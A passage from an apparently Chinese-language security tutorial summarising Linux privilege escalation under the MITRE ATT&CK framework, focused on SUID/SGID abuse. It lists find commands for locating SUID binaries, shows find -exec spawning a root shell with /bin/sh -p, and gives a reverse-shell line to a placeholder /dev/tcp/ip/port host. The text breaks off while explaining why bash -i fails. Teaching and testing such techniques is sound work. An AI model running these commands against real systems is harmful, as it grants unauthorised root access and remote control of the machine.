ATT&CK权限提升-Linux提权总结
介绍
MITRE ATT&CK ®是一个全球可访问的基于真实世界观察的对手战术和技术知识库,本文根据MITRE ATT&CK框架总结了Linux系统下的权限提升技术,并且特指由普通用户提升到root权限的技术。
一、滥用权限控制机制
首先了解一下Linux下的权限控制机制http://c.biancheng.net/linux_tutorial/70/,Linux所有文件都具有访问权限,针对u:拥有者、g:组、o:other设置权限,常见的文件权限类型有:r、w、x,对应读、写、可执行权,除了这3种以外还有一些特殊权限,u中的s代表SUID权限,g中的s代表SGID权限,t代表粘滞位权限,SUDO命令则用于暂时提升用户身份。在ATT&CK框架中记录了很多提权方法,其中用于Linux的有SetUID、SetGID和SUDO。
1.SetUID和 SetGID
①提权原理
SetUID简称SUID,当一个可执行文件被赋予SUID权限,那么用户执行此文件时,会暂时获得文件所有者的身份,一旦文件执行结束,身份的切换也随之消失。
SetGID简称SGID,和SUID类似,当一个可执行文件被赋予SGID权限,那么用户执行此文件时,用户组会暂时获得文件所属组的身份,一旦文件执行结束,身份的切换也随之消失。
如上所述,SUID或SGID本身就是一种暂时提升权限的机制,不恰当得使用会造成安全隐患。对于入侵者来说,只要找到具备SUID或SGID权限的程序,并且能够操控它的执行结果,那么就可以将任意指令提升至root权限。
②提权条件
1.存在具备SUID权限的脆弱二进制文件
③找寻脆弱点
查找具有SUID和SGID的文件:
1.使用ls -l查看具有SUID和SGID权限的文件,SUID对应user权限中的s,SGID对应Group权限中的s:
2.find查找具有SUID和SGID权限的文件:
#查找同时具有SUID和SGID权限的文件:
find / -user root -perm -u+s,g+s -print 2>/dev/null
#查找具有SUID权限或SGID权限的文件:
find / -user root -perm /u+s,g+s -print 2>/dev/null
#查找具有SUID权限的文件:
find / -user root -perm -u+s -print 2>/dev/null
查找具有SGID权限的文件:
find / -user root -perm -g+s -print 2>/dev/null
③可被利用的二进制文件
1.对于常见二进制文件,GTFOBins上面其实已经总结的很全面了https://gtfobins.github.io/#
2.下面举例一个常见的可用于SUID提权的程序,其他的请参考GTFOBins:
find
3.如GTFOBins中展示的,find 可以使用-exec参数来执行命令,所以如果它具备SUID权限那么就可以用来提权:
#测试时先赋予find SUID权限:
chmod u+s /usr/bin/find
#查找/usr/bin下具备SUID权限的文件:
find /usr/bin/ -user root -perm -u+s -print 2>/dev/null
#-exec执行命令,参数需要以;结尾,find每次成功匹配到一个文件,都会执行该命令,使用-quit避免重复执行:
find /root/test -exec whoami \; #多次匹配到文件会多次执行whoami
find . -exec whoami \; -quit
#交互式shell:
find . -exec /bin/sh -p \; -quit
#反弹shell(注意这里一定要用-p,原因在下面解释)
find . -exec /bin/sh -p >& /dev/tcp/ip/port 0>&1 \; -quit
4.提权前:
5.SUID提权,whoami变为root,euid变为root:
6.SGID提权,whoami并没有变为root,但egid用户组变为了root
反弹shell踩坑及解决方法
1.从上面执行的结果可以看到,SUID提权时,只有euid改变,SGID提权时,只有egid和groups改变。
2.linux下用户/用户组有这样几个概念:
实际用户ID(RUID):用于标识一个系统中用户是谁,一般是在登录之后,就被唯一确定的,就是登陆的用户的uid,也是id命令看到的第一个uid。
有效用户ID(EUID):用于系统决定用户对系统资源的权限,SUID提权时改变的其实就是EUID。
真实组ID(RGID):同理,也就是GID。
有效组ID(EGID):同理,SGID提权时改变的就是EGID。
3.如果我们使用常见的bash -i 反弹shell,会出现提权失败的情况: